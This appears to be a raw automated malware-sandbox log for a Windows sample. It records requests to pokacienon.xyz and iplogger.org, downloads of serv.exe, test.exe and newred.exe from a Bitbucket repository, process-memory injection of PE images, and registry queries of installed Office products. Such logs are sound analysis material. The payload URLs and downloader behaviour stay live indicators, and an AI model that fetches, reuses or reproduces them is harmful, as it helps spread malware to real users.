buffer:'"C:\Windows \System32\PasswordOnWakeSettingFlyout.exe"' is not recognized as an internal or external command,
operable program or batch file.
console_handle:0x000000000000000b
POST method with no referer header, POST method with no useragent header
suspicious_request
POST http://pokacienon.xyz/
suspicious_features
GET method with no useragent header
suspicious_request
GET https://api.ip.sb/geoip
suspicious_features
GET method with no useragent header
suspicious_request
GET https://bitbucket.org/mminminminmin05/testtest/downloads/serv.exe
suspicious_features
GET method with no useragent header
suspicious_request
GET https://bbuseruploads.s3.amazonaws.com/17d04c6a-c1d1-40c0-985a-f0740a053130/downloads/9580842f-6891-49c8-802a-149bf1d42264/serv.exe?Signature=pn6i4toRFefu0thF36SY2ehfP5o%3D&Expires=1617875783&AWSAccessKeyId=AKIA6KOSE3BNJRRFUUX6&versionId=Iu1.paGkjklgsxTllu12XmiT7Jmt91vp&response-content-disposition=attachment%3B%20filename%3D%22serv.exe%22
suspicious_features
GET method with no useragent header
suspicious_request
GET https://bitbucket.org/mminminminmin05/testtest/downloads/test.exe
suspicious_features
GET method with no useragent header
suspicious_request
GET https://bbuseruploads.s3.amazonaws.com/17d04c6a-c1d1-40c0-985a-f0740a053130/downloads/62ab596d-a885-41d2-8876-b14668b5131e/test.exe?Signature=QTjNeEZOEfvGMKnBzCyT7mG4nIg%3D&Expires=1617876243&AWSAccessKeyId=AKIA6KOSE3BNJRRFUUX6&versionId=4_MBFBXZdU5kGeZTREx1qRsbERpZ4M_z&response-content-disposition=attachment%3B%20filename%3D%22test.exe%22
suspicious_features
GET method with no useragent header
suspicious_request
GET https://bitbucket.org/mminminminmin05/testtest/downloads/newred.exe
suspicious_features
GET method with no useragent header
suspicious_request
GET https://bbuseruploads.s3.amazonaws.com/17d04c6a-c1d1-40c0-985a-f0740a053130/downloads/a1867a39-2dbe-42c2-b513-5f9bd398e056/newred.exe?Signature=%2Bly8TEK7wfszfC4CJMdwVZNxl90%3D&Expires=1617876376&AWSAccessKeyId=AKIA6KOSE3BNJRRFUUX6&versionId=XZ1Wq9dWgSEXAF.IA6b.w7ImqXWWjs9E&response-content-disposition=attachment%3B%20filename%3D%22newred.exe%22
GET https://bitbucket.org/mminminminmin05/testtest/downloads/serv.exe
request
GET https://iplogger.org/1tsTg7
request
GET https://iplogger.org/favicon.ico
request
GET https://bbuseruploads.s3.amazonaws.com/17d04c6a-c1d1-40c0-985a-f0740a053130/downloads/9580842f-6891-49c8-802a-149bf1d42264/serv.exe?Signature=pn6i4toRFefu0thF36SY2ehfP5o%3D&Expires=1617875783&AWSAccessKeyId=AKIA6KOSE3BNJRRFUUX6&versionId=Iu1.paGkjklgsxTllu12XmiT7Jmt91vp&response-content-disposition=attachment%3B%20filename%3D%22serv.exe%22
request
GET https://bitbucket.org/mminminminmin05/testtest/downloads/test.exe
request
GET https://bbuseruploads.s3.amazonaws.com/17d04c6a-c1d1-40c0-985a-f0740a053130/downloads/62ab596d-a885-41d2-8876-b14668b5131e/test.exe?Signature=QTjNeEZOEfvGMKnBzCyT7mG4nIg%3D&Expires=1617876243&AWSAccessKeyId=AKIA6KOSE3BNJRRFUUX6&versionId=4_MBFBXZdU5kGeZTREx1qRsbERpZ4M_z&response-content-disposition=attachment%3B%20filename%3D%22test.exe%22
request
GET https://bitbucket.org/mminminminmin05/testtest/downloads/newred.exe
request
GET https://bbuseruploads.s3.amazonaws.com/17d04c6a-c1d1-40c0-985a-f0740a053130/downloads/a1867a39-2dbe-42c2-b513-5f9bd398e056/newred.exe?Signature=%2Bly8TEK7wfszfC4CJMdwVZNxl90%3D&Expires=1617876376&AWSAccessKeyId=AKIA6KOSE3BNJRRFUUX6&versionId=XZ1Wq9dWgSEXAF.IA6b.w7ImqXWWjs9E&response-content-disposition=attachment%3B%20filename%3D%22newred.exe%22
buffer:MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ PE L àIH à 0 P Re @ À @ e O ä äd H .text O P `.rsrc ä T @ @.reloc \ @ B base_address:0x00400000 process_identifier:2848 process_handle:0x00000290
1
1
0
WriteProcessMemory
buffer: P 8 h ä T T4 V S _ V E R S I O N _ I N F O ½ïþ ? D V a r F i l e I n f o $ T r a n s l a t i o n °´ S t r i n g F i l e I n f o 0 0 0 0 0 4 b 0 , F i l e D e s c r i p t i o n 0 F i l e V e r s i o n 0 . 0 . 0 . 0 > I n t e r n a l N a m e S y n c h r o n a l . e x e ( L e g a l C o p y r i g h t F O r i g i n a l F i l e n a m e S y n c h r o n a l . e x e 4 P r o d u c t V e r s i o n 0 . 0 . 0 . 0 8 A s s e m b l y V e r s i o n 0 . 0 . 0 . 0 ô ê <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly> base_address:0x00418000 process_identifier:2848 process_handle:0x00000290
buffer:MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ PE L Ïú à 0 P Fe @ À @ ôd O Ü Ød H .text O P `.rsrc Ü T @ @.reloc \ @ B base_address:0x00400000 process_identifier:3284 process_handle:0x0000027c
1
1
0
WriteProcessMemory
buffer: P 8 h Ü L L4 V S _ V E R S I O N _ I N F O ½ïþ ? D V a r F i l e I n f o $ T r a n s l a t i o n °¬ S t r i n g F i l e I n f o 0 0 0 0 0 4 b 0 , F i l e D e s c r i p t i o n 0 F i l e V e r s i o n 0 . 0 . 0 . 0 :
I n t e r n a l N a m e C a l e f i e s . e x e ( L e g a l C o p y r i g h t B
O r i g i n a l F i l e n a m e C a l e f i e s . e x e 4 P r o d u c t V e r s i o n 0 . 0 . 0 . 0 8 A s s e m b l y V e r s i o n 0 . 0 . 0 . 0 ì ê <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly> base_address:0x00418000 process_identifier:3284 process_handle:0x0000027c
buffer:MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ PE L ÿð6Ä à 0 P Re @ À @ e O ä äd H .text O P `.rsrc ä T @ @.reloc \ @ B base_address:0x00400000 process_identifier:7708 process_handle:0x00000280
1
1
0
WriteProcessMemory
buffer: P 8 h ä T T4 V S _ V E R S I O N _ I N F O ½ïþ ? D V a r F i l e I n f o $ T r a n s l a t i o n °´ S t r i n g F i l e I n f o 0 0 0 0 0 4 b 0 , F i l e D e s c r i p t i o n 0 F i l e V e r s i o n 0 . 0 . 0 . 0 > I n t e r n a l N a m e S o p o r i f i c s . e x e ( L e g a l C o p y r i g h t F O r i g i n a l F i l e n a m e S o p o r i f i c s . e x e 4 P r o d u c t V e r s i o n 0 . 0 . 0 . 0 8 A s s e m b l y V e r s i o n 0 . 0 . 0 . 0 ô ê <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly> base_address:0x00418000 process_identifier:7708 process_handle:0x00000280
buffer:MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ PE L àIH à 0 P Re @ À @ e O ä äd H .text O P `.rsrc ä T @ @.reloc \ @ B base_address:0x00400000 process_identifier:2848 process_handle:0x00000290
1
1
0
WriteProcessMemory
buffer:MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ PE L Ïú à 0 P Fe @ À @ ôd O Ü Ød H .text O P `.rsrc Ü T @ @.reloc \ @ B base_address:0x00400000 process_identifier:3284 process_handle:0x0000027c
1
1
0
WriteProcessMemory
buffer:MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ PE L ÿð6Ä à 0 P Re @ À @ e O ä äd H .text O P `.rsrc ä T @ @.reloc \ @ B base_address:0x00400000 process_identifier:7708 process_handle:0x00000280
key_handle:0x00000698 regkey_r:DisplayName reg_type:1(REG_SZ) value:Microsoft Office Access MUI (Korean) 2007 regkey:HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}\DisplayName
1
0
0
RegQueryValueExW
key_handle:0x00000698 regkey_r:DisplayName reg_type:1(REG_SZ) value:Microsoft Office Excel MUI (Korean) 2007 regkey:HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}\DisplayName
1
0
0
RegQueryValueExW
key_handle:0x00000698 regkey_r:DisplayName reg_type:1(REG_SZ) value:Microsoft Office PowerPoint MUI (Korean) 2007 regkey:HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}\DisplayName
1
0
0
RegQueryValueExW
key_handle:0x00000698 regkey_r:DisplayName reg_type:1(REG_SZ) value:Microsoft Office Publisher MUI (Korean) 2007 regkey:HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}\DisplayName
1
0
0
RegQueryValueExW
key_handle:0x00000698 regkey_r:DisplayName reg_type:1(REG_SZ) value:Microsoft Office Outlook MUI (Korean) 2007 regkey:HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}\DisplayName
1
0
0
RegQueryValueExW
key_handle:0x00000698 regkey_r:DisplayName reg_type:1(REG_SZ) value:Microsoft Office Word MUI (Korean) 2007 regkey:HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}\DisplayName
buffer:MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ PE L àIH à 0 P Re @ À @ e O ä äd H .text O P `.rsrc ä T @ @.reloc \ @ B base_address:0x00400000 process_identifier:2848 process_handle:0x00000290
buffer: P 8 h ä T T4 V S _ V E R S I O N _ I N F O ½ïþ ? D V a r F i l e I n f o $ T r a n s l a t i o n °´ S t r i n g F i l e I n f o 0 0 0 0 0 4 b 0 , F i l e D e s c r i p t i o n 0 F i l e V e r s i o n 0 . 0 . 0 . 0 > I n t e r n a l N a m e S y n c h r o n a l . e x e ( L e g a l C o p y r i g h t F O r i g i n a l F i l e n a m e S y n c h r o n a l . e x e 4 P r o d u c t V e r s i o n 0 . 0 . 0 . 0 8 A s s e m b l y V e r s i o n 0 . 0 . 0 . 0 ô ê <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly> base_address:0x00418000 process_identifier:2848 process_handle:0x00000290
buffer:MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ PE L Ïú à 0 P Fe @ À @ ôd O Ü Ød H .text O P `.rsrc Ü T @ @.reloc \ @ B base_address:0x00400000 process_identifier:3284 process_handle:0x0000027c
buffer: P 8 h Ü L L4 V S _ V E R S I O N _ I N F O ½ïþ ? D V a r F i l e I n f o $ T r a n s l a t i o n °¬ S t r i n g F i l e I n f o 0 0 0 0 0 4 b 0 , F i l e D e s c r i p t i o n 0 F i l e V e r s i o n 0 . 0 . 0 . 0 :
I n t e r n a l N a m e C a l e f i e s . e x e ( L e g a l C o p y r i g h t B
O r i g i n a l F i l e n a m e C a l e f i e s . e x e 4 P r o d u c t V e r s i o n 0 . 0 . 0 . 0 8 A s s e m b l y V e r s i o n 0 . 0 . 0 . 0 ì ê <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly> base_address:0x00418000 process_identifier:3284 process_handle:0x0000027c
2.exe